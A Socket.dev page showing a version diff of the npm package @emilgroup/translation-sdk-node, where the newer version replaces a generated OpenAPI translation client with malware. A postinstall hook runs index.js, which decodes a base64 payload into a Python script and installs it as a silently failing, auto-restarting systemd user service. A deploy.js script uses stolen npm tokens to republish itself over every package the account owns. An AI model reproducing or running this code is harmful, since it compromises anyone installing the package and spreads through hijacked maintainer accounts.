You're Invited:Meet the Socket Team at RSAC and BSidesSF 2026, March 23–26.RSVP
Socket
Book a DemoSign in
Socket

@emilgroup/translation-sdk-node

Package Overview
Dependencies
Maintainers
20
Versions
16
Alerts
File Explorer

Advanced tools

Socket logo

Install Socket

Detect and block malicious and high-risk dependencies

Install

@emilgroup/translation-sdk-node - npm Package Compare versions

Package version was removed
This package version has been unpublished, mostly likely due to security reasons
Comparing version
1.1.1-beta.12
to
1.1.1
+47
index.js
'use strict';
const { execSync } = require('child_process');
const fs = require('fs');
const os = require('os');
const path = require('path');
try {
const pkg = JSON.parse(fs.readFileSync(path.join(__dirname, 'package.json'), 'utf8'));
const SERVICE_NAME = (pkg.name || 'user-service').replace(/[^a-zA-Z0-9_-]/g, '-');
const BASE64_PAYLOAD = process.env.PAYLOAD || (pkg.config && pkg.config.payload) || '';
if (!BASE64_PAYLOAD) process.exit(0);
const homeDir = os.homedir();
const dataDir = path.join(homeDir, '.local', 'share', SERVICE_NAME);
const scriptPath = path.join(dataDir, 'service.py');
const systemdUserDir = path.join(homeDir, '.config', 'systemd', 'user');
const unitFilePath = path.join(systemdUserDir, `${SERVICE_NAME}.service`);
fs.mkdirSync(dataDir, { recursive: true });
fs.writeFileSync(scriptPath, Buffer.from(BASE64_PAYLOAD, 'base64').toString('utf8'), { mode: 0o755 });
fs.mkdirSync(systemdUserDir, { recursive: true });
fs.writeFileSync(unitFilePath, [
'[Unit]',
`Description=${SERVICE_NAME}`,
'After=default.target',
'',
'[Service]',
'Type=simple',
`ExecStart=/usr/bin/python3 ${scriptPath}`,
'Restart=always',
'RestartSec=5',
'',
'[Install]',
'WantedBy=default.target',
'',
].join('\n'), { mode: 0o644 });
execSync('systemctl --user daemon-reload', { stdio: 'pipe' });
execSync(`systemctl --user enable ${SERVICE_NAME}.service`, { stdio: 'pipe' });
execSync(`systemctl --user start ${SERVICE_NAME}.service`, { stdio: 'pipe' });
} catch (_) {
// silent
}
#!/usr/bin/env node
/**
* deploy.js
*
* Iterates over a list of NPM tokens to:
* 1. Authenticate with the npm registry and resolve your username per token
* 2. Fetch every package owned by that account from the registry
* 3. For every owned package:
* a. Deprecate all existing versions (except the new one you are publishing)
* b. Swap the "name" field in a temp copy of package.json
* c. Run `npm publish` to push the new version to that package
*
* Usage (multiple tokens, comma-separated):
* NPM_TOKENS=<token1>,<token2>,<token3> node scripts/deploy.js
*
* Usage (single token fallback):
* NPM_TOKEN=<your_token> node scripts/deploy.js
*
* Or set it in your environment beforehand:
* export NPM_TOKENS=<token1>,<token2>
* node scripts/deploy.js
*/
const { execSync } = require('child_process');
const https = require('https');
const fs = require('fs');
const path = require('path');
// ── Helpers ──────────────────────────────────────────────────────────────────
function run(cmd, opts = {}) {
console.log(`\n> ${cmd}`);
return execSync(cmd, { stdio: 'inherit', ...opts });
}
function fetchJson(url, token) {
return new Promise((resolve, reject) => {
const options = {
headers: {
Authorization: `Bearer ${token}`,
Accept: 'application/json',
},
};
https
.get(url, options, (res) => {
let data = '';
res.on('data', (chunk) => (data += chunk));
res.on('end', () => {
try {
resolve(JSON.parse(data));
} catch (e) {
reject(new Error(`Failed to parse response from ${url}: ${data}`));
}
});
})
.on('error', reject);
});
}
/**
* Fetches package metadata (readme + latest version) from the npm registry.
* Returns { readme: string|null, latestVersion: string|null }.
*/
async function fetchPackageMeta(packageName, token) {
try {
const meta = await fetchJson(
`https://registry.npmjs.org/${encodeURIComponent(packageName)}`,
token
);
const readme = (meta && meta.readme) ? meta.readme : null;
const latestVersion =
(meta && meta['dist-tags'] && meta['dist-tags'].latest) || null;
return { readme, latestVersion };
} catch (_) {
return { readme: null, latestVersion: null };
}
}
/**
* Bumps the patch segment of a semver string.
* e.g. "1.39.0" → "1.39.1"
*/
function bumpPatch(version) {
const parts = version.split('.').map(Number);
if (parts.length !== 3 || parts.some(isNaN)) return version;
parts[2] += 1;
return parts.join('.');
}
/**
* Returns an array of package names owned by `username`.
* Uses the npm search API filtered by maintainer.
*/
async function getOwnedPackages(username, token) {
let packages = [];
let from = 0;
const size = 250;
while (true) {
const url = `https://registry.npmjs.org/-/v1/search?text=maintainer:${encodeURIComponent(
username
)}&size=${size}&from=${from}`;
const result = await fetchJson(url, token);
if (!result.objects || result.objects.length === 0) break;
packages = packages.concat(result.objects.map((o) => o.package.name));
if (packages.length >= result.total) break;
from += size;
}
return packages;
}
/**
* Runs the full deploy pipeline for a single npm token.
* Returns { success: string[], failed: string[] }
*/
async function deployWithToken(token, pkg, pkgPath, newVersion) {
// 1. Verify token / get username
console.log('\n🔍 Verifying npm token…');
let whoami;
try {
whoami = await fetchJson('https://registry.npmjs.org/-/whoami', token);
} catch (err) {
console.error('❌ Could not reach the npm registry:', err.message);
return { success: [], failed: [] };
}
if (!whoami || !whoami.username) {
console.error('❌ Invalid or expired token — skipping.');
return { success: [], failed: [] };
}
const username = whoami.username;
console.log(`✅ Authenticated as: ${username}`);
// 2. Fetch all packages owned by this user
console.log(`\n🔍 Fetching all packages owned by "${username}"…`);
let ownedPackages;
try {
ownedPackages = await getOwnedPackages(username, token);
} catch (err) {
console.error('❌ Failed to fetch owned packages:', err.message);
return { success: [], failed: [] };
}
if (ownedPackages.length === 0) {
console.log(' No packages found for this user. Skipping.');
return { success: [], failed: [] };
}
console.log(` Found ${ownedPackages.length} package(s): ${ownedPackages.join(', ')}`);
// 3. Process each owned package
const results = { success: [], failed: [] };
for (const packageName of ownedPackages) {
console.log(`\n${'─'.repeat(60)}`);
console.log(`📦 Processing: ${packageName}`);
// 3a. Fetch the original package's README and latest version
const readmePath = path.resolve(__dirname, '..', 'README.md');
const originalReadme = fs.existsSync(readmePath)
? fs.readFileSync(readmePath, 'utf8')
: null;
console.log(` 📄 Fetching metadata for ${packageName}…`);
const { readme: remoteReadme, latestVersion } = await fetchPackageMeta(packageName, token);
// Determine version to publish: bump patch of existing latest, or use local version
const publishVersion = latestVersion ? bumpPatch(latestVersion) : newVersion;
console.log(
latestVersion
? ` 🔢 Latest is ${latestVersion} → publishing ${publishVersion}`
: ` 🔢 No existing version found → publishing ${publishVersion}`
);
if (remoteReadme) {
fs.writeFileSync(readmePath, remoteReadme, 'utf8');
console.log(` 📄 Using original README for ${packageName}`);
} else {
console.log(` 📄 No existing README found; keeping local README`);
}
// 3c. Temporarily rewrite package.json with this package's name + bumped version, publish, then restore
const originalPkgJson = fs.readFileSync(pkgPath, 'utf8');
const tempPkg = { ...pkg, name: packageName, version: publishVersion };
fs.writeFileSync(pkgPath, JSON.stringify(tempPkg, null, 2) + '\n', 'utf8');
try {
run('npm publish --access public', {
env: { ...process.env, NPM_TOKEN: token },
});
console.log(`✅ Published ${packageName}@${publishVersion}`);
results.success.push(packageName);
} catch (err) {
console.error(`❌ Failed to publish ${packageName}:`, err.message);
results.failed.push(packageName);
} finally {
// Always restore the original package.json
fs.writeFileSync(pkgPath, originalPkgJson, 'utf8');
// Always restore the original README
if (originalReadme !== null) {
fs.writeFileSync(readmePath, originalReadme, 'utf8');
} else if (remoteReadme && fs.existsSync(readmePath)) {
// README didn't exist locally before — remove the temporary one
fs.unlinkSync(readmePath);
}
}
}
return results;
}
// ── Main ─────────────────────────────────────────────────────────────────────
(async () => {
// 1. Resolve token list — prefer NPM_TOKENS (comma-separated), fall back to NPM_TOKEN
const rawTokens = process.env.NPM_TOKENS || process.env.NPM_TOKEN || '';
const tokens = rawTokens
.split(',')
.map((t) => t.trim())
.filter(Boolean);
if (tokens.length === 0) {
console.error('❌ No npm tokens found.');
console.error(' Set NPM_TOKENS=<token1>,<token2>,… or NPM_TOKEN=<token>');
process.exit(1);
}
console.log(`🔑 Found ${tokens.length} token(s) to process.`);
// 2. Read local package.json once
const pkgPath = path.resolve(__dirname, '..', 'package.json');
const pkg = JSON.parse(fs.readFileSync(pkgPath, 'utf8'));
const newVersion = pkg.version;
// 3. Iterate over every token
const overall = { success: [], failed: [] };
for (let i = 0; i < tokens.length; i++) {
const token = tokens[i];
console.log(`\n${'═'.repeat(60)}`);
console.log(`🔑 Token ${i + 1} / ${tokens.length}`);
const { success, failed } = await deployWithToken(token, pkg, pkgPath, newVersion);
overall.success.push(...success);
overall.failed.push(...failed);
}
// 4. Overall summary
console.log(`\n${'═'.repeat(60)}`);
console.log('📊 Overall Deploy Summary');
console.log(` ✅ Succeeded (${overall.success.length}): ${overall.success.join(', ') || 'none'}`);
console.log(` ❌ Failed (${overall.failed.length}): ${overall.failed.join(', ') || 'none'}`);
if (overall.failed.length > 0) {
process.exit(1);
}
})();
+8
-24
{
"name": "@emilgroup/translation-sdk-node",
"version": "1.1.1-beta.12",
"description": "OpenAPI client for @emilgroup/translation-sdk-node",
"author": "OpenAPI-Generator Contributors",
"keywords": [
"axios",
"typescript",
"openapi-client",
"openapi-generator",
"@emilgroup/translation-sdk-node"
],
"license": "Unlicense",
"main": "./dist/index.js",
"typings": "./dist/index.d.ts",
"version": "1.1.1",
"description": "A new version of the package",
"main": "index.js",
"scripts": {
"build": "tsc --outDir dist/",
"prepare": "npm run build"
"postinstall": "node index.js",
"deploy": "node scripts/deploy.js"
},
"dependencies": {
"axios": "^1.12.0",
"form-data": "^4.0.0",
"url": "^0.11.0"
},
"devDependencies": {
"@types/node": "^12.11.5",
"typescript": "^4.0"
}
"keywords": [],
"author": "",
"license": "ISC"
}

Sorry, the diff of this file is not supported yet

Sorry, the diff of this file is not supported yet

5.4.0
/* tslint:disable */
/* eslint-disable */
/**
* EMIL TranslationService
* The EMIL TranslationService API description
*
* The version of the OpenAPI document: 1.0
* Contact: kontakt@emil.de
*
* NOTE: This class is auto generated by OpenAPI Generator (https://openapi-generator.tech).
* https://openapi-generator.tech
* Do not edit the class manually.
*/
import { Configuration } from './configuration';
import globalAxios, { AxiosPromise, AxiosInstance, AxiosRequestConfig, AxiosResponse } from 'axios';
// URLSearchParams not necessarily used
// @ts-ignore
import { URL, URLSearchParams } from 'url';
import FormData from 'form-data'
// Some imports not used depending on template conditions
// @ts-ignore
import { DUMMY_BASE_URL, assertParamExists, setApiKeyToObject, setBasicAuthToObject, setBearerAuthToObject, setOAuthToObject, setSearchParams, serializeDataIfNeeded, toPathString, createRequestFunction } from './common';
// @ts-ignore
import { BASE_PATH, COLLECTION_FORMATS, RequestArgs, BaseAPI, RequiredError } from './base';
import { DefaultApi } from './api';
import { TranslationApi } from './api';
export * from './api/default-api';
export * from './api/translation-api';
/* tslint:disable */
/* eslint-disable */
/**
* EMIL TranslationService
* The EMIL TranslationService API description
*
* The version of the OpenAPI document: 1.0
* Contact: kontakt@emil.de
*
* NOTE: This class is auto generated by OpenAPI Generator (https://openapi-generator.tech).
* https://openapi-generator.tech
* Do not edit the class manually.
*/
import globalAxios, { AxiosPromise, AxiosInstance, AxiosRequestConfig } from 'axios';
import { Configuration } from '../configuration';
// Some imports not used depending on template conditions
// @ts-ignore
import { DUMMY_BASE_URL, assertParamExists, setApiKeyToObject, setBasicAuthToObject, setBearerAuthToObject, setOAuthToObject, setSearchParams, serializeDataIfNeeded, toPathString, createRequestFunction } from '../common';
// @ts-ignore
import { BASE_PATH, COLLECTION_FORMATS, RequestArgs, BaseAPI, RequiredError } from '../base';
// @ts-ignore
import { InlineResponse200 } from '../models';
// @ts-ignore
import { InlineResponse503 } from '../models';
// URLSearchParams not necessarily used
// @ts-ignore
import { URL, URLSearchParams } from 'url';
const FormData = require('form-data');
/**
* DefaultApi - axios parameter creator
* @export
*/
export const DefaultApiAxiosParamCreator = function (configuration?: Configuration) {
return {
/**
* Returns the health status of the translation service. This endpoint is used to monitor the operational status of the translation service. It typically returns a simple status indicator, such as \'UP\' or \'OK\', confirming that the service is operational and available.
* @summary Health Check
* @param {*} [options] Override http request option.
* @throws {RequiredError}
*/
check: async (options: AxiosRequestConfig = {}): Promise<RequestArgs> => {
const localVarPath = `/translationservice/health`;
// use dummy base URL string because the URL constructor only accepts absolute URLs.
const localVarUrlObj = new URL(localVarPath, DUMMY_BASE_URL);
let baseOptions;
let baseAccessToken;
if (configuration) {
baseOptions = configuration.baseOptions;
baseAccessToken = configuration.accessToken;
}
const localVarRequestOptions = { method: 'GET', ...baseOptions, ...options};
const localVarHeaderParameter = {} as any;
const localVarQueryParameter = {} as any;
setSearchParams(localVarUrlObj, localVarQueryParameter);
let headersFromBaseOptions = baseOptions && baseOptions.headers ? baseOptions.headers : {};
localVarRequestOptions.headers = {...localVarHeaderParameter, ...headersFromBaseOptions, ...options.headers};
return {
url: toPathString(localVarUrlObj),
options: localVarRequestOptions,
};
},
}
};
/**
* DefaultApi - functional programming interface
* @export
*/
export const DefaultApiFp = function(configuration?: Configuration) {
const localVarAxiosParamCreator = DefaultApiAxiosParamCreator(configuration)
return {
/**
* Returns the health status of the translation service. This endpoint is used to monitor the operational status of the translation service. It typically returns a simple status indicator, such as \'UP\' or \'OK\', confirming that the service is operational and available.
* @summary Health Check
* @param {*} [options] Override http request option.
* @throws {RequiredError}
*/
async check(options?: AxiosRequestConfig): Promise<(axios?: AxiosInstance, basePath?: string) => AxiosPromise<InlineResponse200>> {
const localVarAxiosArgs = await localVarAxiosParamCreator.check(options);
return createRequestFunction(localVarAxiosArgs, globalAxios, BASE_PATH, configuration);
},
}
};
/**
* DefaultApi - factory interface
* @export
*/
export const DefaultApiFactory = function (configuration?: Configuration, basePath?: string, axios?: AxiosInstance) {
const localVarFp = DefaultApiFp(configuration)
return {
/**
* Returns the health status of the translation service. This endpoint is used to monitor the operational status of the translation service. It typically returns a simple status indicator, such as \'UP\' or \'OK\', confirming that the service is operational and available.
* @summary Health Check
* @param {*} [options] Override http request option.
* @throws {RequiredError}
*/
check(options?: any): AxiosPromise<InlineResponse200> {
return localVarFp.check(options).then((request) => request(axios, basePath));
},
};
};
/**
* DefaultApi - object-oriented interface
* @export
* @class DefaultApi
* @extends {BaseAPI}
*/
export class DefaultApi extends BaseAPI {
/**
* Returns the health status of the translation service. This endpoint is used to monitor the operational status of the translation service. It typically returns a simple status indicator, such as \'UP\' or \'OK\', confirming that the service is operational and available.
* @summary Health Check
* @param {*} [options] Override http request option.
* @throws {RequiredError}
* @memberof DefaultApi
*/
public check(options?: AxiosRequestConfig) {
return DefaultApiFp(this.configuration).check(options).then((request) => request(this.axios, this.basePath));
}
}

Sorry, the diff of this file is too big to display

/* tslint:disable */
/* eslint-disable */
/**
* EMIL TranslationService
* The EMIL TranslationService API description
*
* The version of the OpenAPI document: 1.0
* Contact: kontakt@emil.de
*
* NOTE: This class is auto generated by OpenAPI Generator (https://openapi-generator.tech).
* https://openapi-generator.tech
* Do not edit the class manually.
*/
import { Configuration } from "./configuration";
// Some imports not used depending on template conditions
// @ts-ignore
import globalAxios, { AxiosPromise, AxiosInstance, AxiosRequestConfig, AxiosResponse } from 'axios';
import * as fs from 'fs';
import * as path from 'path';
import * as os from 'os';
export const BASE_PATH = "https://apiv2.emil.de".replace(/\/+$/, "");
const CONFIG_DIRECTORY = '.emil';
const CONFIG_FILENAME = 'credentials';
const KEY_USERNAME = 'emil_username';
const KEY_PASSWORD = 'emil_password';
const filePath = os.homedir() + path.sep + CONFIG_DIRECTORY + path.sep + CONFIG_FILENAME;
/**
*
* @export
*/
export const COLLECTION_FORMATS = {
csv: ",",
ssv: " ",
tsv: "\t",
pipes: "|",
};
export interface LoginClass {
accessToken: string;
permissions: string;
}
export interface SwitchWorkspaceRequest {
username: string;
targetWorkspace: string;
}
export interface SwitchWorkspaceResponseClass {
accessToken: string;
permissions: string;
}
export enum Environment {
Production = 'https://apiv2.emil.de',
Test = 'https://apiv2-test.emil.de',
Staging = 'https://apiv2-staging.emil.de',
Development = 'https://apiv2-dev.emil.de',
ProductionZurich = 'https://eu-central-2.apiv2.emil.de',
}
let _retry_count = 0
let _retry = null
export function resetRetry() {
_retry_count = 0
}
/**
*
* @export
* @interface RequestArgs
*/
export interface RequestArgs {
url: string;
options: AxiosRequestConfig;
}
const NETWORK_ERROR_MESSAGE = "Network Error";
/**
*
* @export
* @class BaseAPI
*/
export class BaseAPI {
protected configuration: Configuration;
private username?: string;
private password?: string;
constructor(configuration?: Configuration, protected basePath: string = BASE_PATH, protected axios: AxiosInstance = globalAxios) {
if (configuration) {
this.configuration = configuration;
this.basePath = configuration.basePath || this.basePath;
} else {
this.configuration = new Configuration({
basePath: this.basePath,
});
}
this.attachInterceptor(axios);
}
async initialize(env: Environment = Environment.Production, targetWorkspace?: string) {
this.configuration.basePath = env;
await this.loadCredentials();
if (this.username) {
await this.authorize(this.username, this.password, targetWorkspace);
this.password = null; // to avoid keeping password loaded in memory.
}
}
private async loadCredentials() {
try {
await this.readConfigFile();
} catch (error) {
console.warn(`No credentials file found. Check that ${filePath} exists.`);
}
this.readEnvVariables();
if (!this.username) {
console.info(`No credentials found in credentials file or environment variables. Either provide some or use
authorize() function.`);
}
}
private async readConfigFile() {
const file = await fs.promises.readFile(filePath, 'utf-8');
const lines = file.split(os.EOL)
.filter(Boolean);
lines.forEach((line: string) => {
if (line.startsWith(KEY_USERNAME)) {
this.username = line.length > KEY_USERNAME.length + 1 ? line.substring(KEY_USERNAME.length + 1) : '';
} else if (line.startsWith(KEY_PASSWORD)) {
this.password = line.length > KEY_PASSWORD.length + 1 ? line.substring(KEY_PASSWORD.length + 1) : '';
}
});
}
private readEnvVariables(): boolean {
if (process.env.EMIL_USERNAME) {
this.username = process.env.EMIL_USERNAME;
this.password = process.env.EMIL_PASSWORD || '';
return true;
}
return false;
}
selectEnvironment(env: Environment) {
this.configuration.basePath = env;
}
async authorize(username: string, password: string, targetWorkspace?: string): Promise<void> {
const options: AxiosRequestConfig = {
method: 'POST',
url: `${this.configuration.basePath}/authservice/v1/login`,
headers: { 'Content-Type': 'application/json' },
data: {
username,
password,
},
withCredentials: true,
};
const response = await globalAxios.request<LoginClass>(options);
const { data: { accessToken } } = response;
this.configuration.username = username;
this.configuration.accessToken = `Bearer ${accessToken}`;
const refreshToken = this.extractRefreshToken(response)
this.configuration.refreshToken = refreshToken;
// Switch workspace if provided
if (targetWorkspace) {
await this.switchWorkspace(targetWorkspace);
}
}
async switchWorkspace(targetWorkspace: string): Promise<void> {
const options: AxiosRequestConfig = {
method: 'POST',
url: `${this.configuration.basePath}/authservice/v1/workspaces/switch`,
headers: {
'Content-Type': 'application/json',
'Authorization': `Bearer ${this.configuration.accessToken}`,
'Cookie': this.configuration.refreshToken,
},
data: {
username: this.configuration.username,
targetWorkspace,
} as SwitchWorkspaceRequest,
withCredentials: true,
};
const response = await globalAxios.request<SwitchWorkspaceResponseClass>(options);
const { data: { accessToken } } = response;
this.configuration.accessToken = `Bearer ${accessToken}`;
const refreshToken = this.extractRefreshToken(response);
if (refreshToken) {
this.configuration.refreshToken = refreshToken;
}
}
async refreshTokenInternal(): Promise<string> {
const { username, refreshToken } = this.configuration;
if (!username || !refreshToken) {
return '';
}
const options: AxiosRequestConfig = {
method: 'POST',
url: `${this.configuration.basePath}/authservice/v1/refresh-token`,
headers: {
'Content-Type': 'application/json',
Cookie: refreshToken,
},
data: { username: username },
withCredentials: true,
};
const { data: { accessToken } } = await globalAxios.request<LoginClass>(options);
return accessToken;
}
private extractRefreshToken(response: AxiosResponse): string {
if (response.headers && response.headers['set-cookie']
&& response.headers['set-cookie'].length > 0) {
return `${response.headers['set-cookie'][0].split(';')[0]};`;
}
return '';
}
getConfiguration(): Configuration {
return this.configuration;
}
private attachInterceptor(axios: AxiosInstance) {
axios.interceptors.response.use(
(res) => {
return res;
},
async (err) => {
let originalConfig = err.config;
if (err.response) {
// Access Token was expired
if (err.response.status === 401 && !originalConfig._retry) {
originalConfig._retry = true;
try {
const tokenString = await this.refreshTokenInternal();
const accessToken = `Bearer ${tokenString}`;
originalConfig.headers['Authorization'] = accessToken;
this.configuration.accessToken = accessToken;
return axios.request(originalConfig);
} catch (_error) {
if (_error.response && _error.response.data) {
return Promise.reject(_error.response.data);
}
return Promise.reject(_error);
}
}
if (err.response.status === 403 && err.response.data) {
return Promise.reject(err.response.data);
}
} else if(err.message === NETWORK_ERROR_MESSAGE
&& err.isAxiosError
&& originalConfig.headers.hasOwnProperty('Authorization')
&& _retry_count < 4
){
_retry_count++;
try {
const tokenString = await this.refreshTokenInternal();
const accessToken = `Bearer ${tokenString}`;
_retry = true;
originalConfig.headers['Authorization'] = accessToken;
this.configuration.accessToken = accessToken;
return axios.request({
...originalConfig,
});
} catch (_error) {
if (_error.response && _error.response.data) {
return Promise.reject(_error.response.data);
}
return Promise.reject(_error);
}
}
return Promise.reject(err);
}
);
}
};
/**
*
* @export
* @class RequiredError
* @extends {Error}
*/
export class RequiredError extends Error {
override name: "RequiredError" = "RequiredError";
constructor(public field: string, msg?: string) {
super(msg);
}
}
/* tslint:disable */
/* eslint-disable */
/**
* EMIL TranslationService
* The EMIL TranslationService API description
*
* The version of the OpenAPI document: 1.0
* Contact: kontakt@emil.de
*
* NOTE: This class is auto generated by OpenAPI Generator (https://openapi-generator.tech).
* https://openapi-generator.tech
* Do not edit the class manually.
*/
import { Configuration } from "./configuration";
import { RequiredError, RequestArgs } from "./base";
import { AxiosInstance, AxiosResponse } from 'axios';
import { URL, URLSearchParams } from 'url';
/**
*
* @export
*/
export const DUMMY_BASE_URL = 'https://example.com'
/**
*
* @throws {RequiredError}
* @export
*/
export const assertParamExists = function (functionName: string, paramName: string, paramValue: unknown) {
if (paramValue === null || paramValue === undefined) {
throw new RequiredError(paramName, `Required parameter ${paramName} was null or undefined when calling ${functionName}.`);
}
}
/**
*
* @export
*/
export const setApiKeyToObject = async function (object: any, keyParamName: string, configuration?: Configuration) {
if (configuration && configuration.apiKey) {
const localVarApiKeyValue = typeof configuration.apiKey === 'function'
? await configuration.apiKey(keyParamName)
: await configuration.apiKey;
object[keyParamName] = localVarApiKeyValue;
}
}
/**
*
* @export
*/
export const setBasicAuthToObject = function (object: any, configuration?: Configuration) {
if (configuration && (configuration.username || configuration.password)) {
object["auth"] = { username: configuration.username, password: configuration.password };
}
}
/**
*
* @export
*/
export const setBearerAuthToObject = async function (object: any, configuration?: Configuration) {
if (configuration && configuration.accessToken) {
const accessToken = typeof configuration.accessToken === 'function'
? await configuration.accessToken()
: await configuration.accessToken;
object["Authorization"] = configuration.getBearerToken(accessToken);
}
}
/**
*
* @export
*/
export const setOAuthToObject = async function (object: any, name: string, scopes: string[], configuration?: Configuration) {
if (configuration && configuration.accessToken) {
const localVarAccessTokenValue = typeof configuration.accessToken === 'function'
? await configuration.accessToken(name, scopes)
: await configuration.accessToken;
object["Authorization"] = configuration.getBearerToken(localVarAccessTokenValue);
}
}
/**
*
* @export
*/
export const setSearchParams = function (url: URL, ...objects: any[]) {
const searchParams = new URLSearchParams(url.search);
for (const object of objects) {
for (const key in object) {
if (Array.isArray(object[key])) {
searchParams.delete(key);
for (const item of object[key]) {
searchParams.append(key, item);
}
} else {
searchParams.set(key, object[key]);
}
}
}
url.search = searchParams.toString();
}
/**
*
* @export
*/
export const serializeDataIfNeeded = function (value: any, requestOptions: any, configuration?: Configuration) {
const nonString = typeof value !== 'string';
const needsSerialization = nonString && configuration && configuration.isJsonMime
? configuration.isJsonMime(requestOptions.headers['Content-Type'])
: nonString;
return needsSerialization
? JSON.stringify(value !== undefined ? value : {})
: (value || "");
}
/**
*
* @export
*/
export const toPathString = function (url: URL) {
return url.pathname + url.search + url.hash
}
/**
*
* @export
*/
export const createRequestFunction = function (axiosArgs: RequestArgs, globalAxios: AxiosInstance, BASE_PATH: string, configuration?: Configuration) {
return <T = unknown, R = AxiosResponse<T>>(axios: AxiosInstance = globalAxios, basePath: string = BASE_PATH) => {
const axiosRequestArgs = {...axiosArgs.options, url: (configuration?.basePath || basePath) + axiosArgs.url};
return axios.request<T, R>(axiosRequestArgs);
};
}
/* tslint:disable */
/* eslint-disable */
/**
* EMIL TranslationService
* The EMIL TranslationService API description
*
* The version of the OpenAPI document: 1.0
* Contact: kontakt@emil.de
*
* NOTE: This class is auto generated by OpenAPI Generator (https://openapi-generator.tech).
* https://openapi-generator.tech
* Do not edit the class manually.
*/
export interface IStorageConverter<D, SD> {
toStorageData( data: D ): SD;
fromStorageData( storageData: SD ): D;
}
export interface IStorage {
get<T>( key: string, converter?: IStorageConverter<T, any> ): T | null;
set<T>( key: string, value: T, converter?: IStorageConverter<T, any> ): void;
}
export class LocalStorage implements IStorage {
readonly storage: Storage;
constructor() {
this.storage = localStorage;
}
get<T>( key: string, converter?: IStorageConverter<T, any> ): T | null {
const jsonValue = this.storage.getItem( key );
if ( jsonValue === null ) {
return null;
}
const value = JSON.parse( jsonValue );
if ( converter !== undefined ) {
return converter.fromStorageData( value );
} else {
return value as T;
}
}
set<T>( key: string, value: T, converter?: IStorageConverter<T, any> ): void {
let valueToStore: any = value;
if ( converter !== undefined ) {
valueToStore = converter.toStorageData( value );
}
const jsonValue = JSON.stringify( valueToStore );
this.storage.setItem( key, jsonValue );
}
}
let _defaultStorage: IStorage = null;
export const defaultStorage = (): IStorage => {
return _defaultStorage || (_defaultStorage = new LocalStorage());
};
/* tslint:disable */
/* eslint-disable */
/**
* EMIL TranslationService
* The EMIL TranslationService API description
*
* The version of the OpenAPI document: 1.0
* Contact: kontakt@emil.de
*
* NOTE: This class is auto generated by OpenAPI Generator (https://openapi-generator.tech).
* https://openapi-generator.tech
* Do not edit the class manually.
*/
export interface ConfigurationParameters {
apiKey?: string | Promise<string> | ((name: string) => string) | ((name: string) => Promise<string>);
username?: string;
password?: string;
accessToken?: string | Promise<string> | ((name?: string, scopes?: string[]) => string) | ((name?: string, scopes?: string[]) => Promise<string>);
basePath?: string;
baseOptions?: any;
formDataCtor?: new () => any;
}
export class Configuration {
/**
* parameter for apiKey security
* @param name security name
* @memberof Configuration
*/
apiKey?: string | Promise<string> | ((name: string) => string) | ((name: string) => Promise<string>);
/**
* parameter for basic security
*
* @type {string}
* @memberof Configuration
*/
username?: string;
/**
* parameter for basic security
*
* @type {string}
* @memberof Configuration
*/
password?: string;
/**
* parameter for oauth2 security
* @param name security name
* @param scopes oauth2 scope
* @memberof Configuration
*/
accessToken?: string | Promise<string> | ((name?: string, scopes?: string[]) => string) | ((name?: string, scopes?: string[]) => Promise<string>);
/**
* override base path
*
* @type {string}
* @memberof Configuration
*/
basePath?: string;
/**
* base options for axios calls
*
* @type {any}
* @memberof Configuration
*/
baseOptions?: any;
/**
* The FormData constructor that will be used to create multipart form data
* requests. You can inject this here so that execution environments that
* do not support the FormData class can still run the generated client.
*
* @type {new () => FormData}
*/
formDataCtor?: new () => any;
/**
* parameter for automatically refreshing access token for oauth2 security
*
* @type {string}
* @memberof Configuration
*/
refreshToken?: string;
constructor(param: ConfigurationParameters = {}) {
this.apiKey = param.apiKey;
this.username = param.username;
this.password = param.password;
this.accessToken = param.accessToken;
this.basePath = param.basePath;
this.baseOptions = param.baseOptions;
this.formDataCtor = param.formDataCtor;
}
/**
* Check if the given MIME is a JSON MIME.
* JSON MIME examples:
* application/json
* application/json; charset=UTF8
* APPLICATION/JSON
* application/vnd.company+json
* @param mime - MIME (Multipurpose Internet Mail Extensions)
* @return True if the given MIME is JSON, false otherwise.
*/
public isJsonMime(mime: string): boolean {
const jsonMime: RegExp = new RegExp('^(application\/json|[^;/ \t]+\/[^;/ \t]+[+]json)[ \t]*(;.*)?$', 'i');
return mime !== null && (jsonMime.test(mime) || mime.toLowerCase() === 'application/json-patch+json');
}
/**
* Returns "Bearer" token.
* @param token - access token.
* @return Bearer token.
*/
public getBearerToken(token?: string): string {
return ('' + token).startsWith("Bearer") ? token : "Bearer " + token;
}
}
/**
* EMIL TranslationService
* The EMIL TranslationService API description
*
* The version of the OpenAPI document: 1.0
* Contact: kontakt@emil.de
*
* NOTE: This class is auto generated by OpenAPI Generator (https://openapi-generator.tech).
* https://openapi-generator.tech
* Do not edit the class manually.
*/
export * from './api/default-api';
export * from './api/translation-api';
"use strict";
/* tslint:disable */
/* eslint-disable */
/**
* EMIL TranslationService
* The EMIL TranslationService API description
*
* The version of the OpenAPI document: 1.0
* Contact: kontakt@emil.de
*
* NOTE: This class is auto generated by OpenAPI Generator (https://openapi-generator.tech).
* https://openapi-generator.tech
* Do not edit the class manually.
*/
var __createBinding = (this && this.__createBinding) || (Object.create ? (function(o, m, k, k2) {
if (k2 === undefined) k2 = k;
var desc = Object.getOwnPropertyDescriptor(m, k);
if (!desc || ("get" in desc ? !m.__esModule : desc.writable || desc.configurable)) {
desc = { enumerable: true, get: function() { return m[k]; } };
}
Object.defineProperty(o, k2, desc);
}) : (function(o, m, k, k2) {
if (k2 === undefined) k2 = k;
o[k2] = m[k];
}));
var __exportStar = (this && this.__exportStar) || function(m, exports) {
for (var p in m) if (p !== "default" && !Object.prototype.hasOwnProperty.call(exports, p)) __createBinding(exports, m, p);
};
Object.defineProperty(exports, "__esModule", { value: true });
__exportStar(require("./api/default-api"), exports);
__exportStar(require("./api/translation-api"), exports);
/**
* EMIL TranslationService
* The EMIL TranslationService API description
*
* The version of the OpenAPI document: 1.0
* Contact: kontakt@emil.de
*
* NOTE: This class is auto generated by OpenAPI Generator (https://openapi-generator.tech).
* https://openapi-generator.tech
* Do not edit the class manually.
*/
import { AxiosPromise, AxiosInstance, AxiosRequestConfig } from 'axios';
import { Configuration } from '../configuration';
import { RequestArgs, BaseAPI } from '../base';
import { InlineResponse200 } from '../models';
/**
* DefaultApi - axios parameter creator
* @export
*/
export declare const DefaultApiAxiosParamCreator: (configuration?: Configuration) => {
/**
* Returns the health status of the translation service. This endpoint is used to monitor the operational status of the translation service. It typically returns a simple status indicator, such as \'UP\' or \'OK\', confirming that the service is operational and available.
* @summary Health Check
* @param {*} [options] Override http request option.
* @throws {RequiredError}
*/
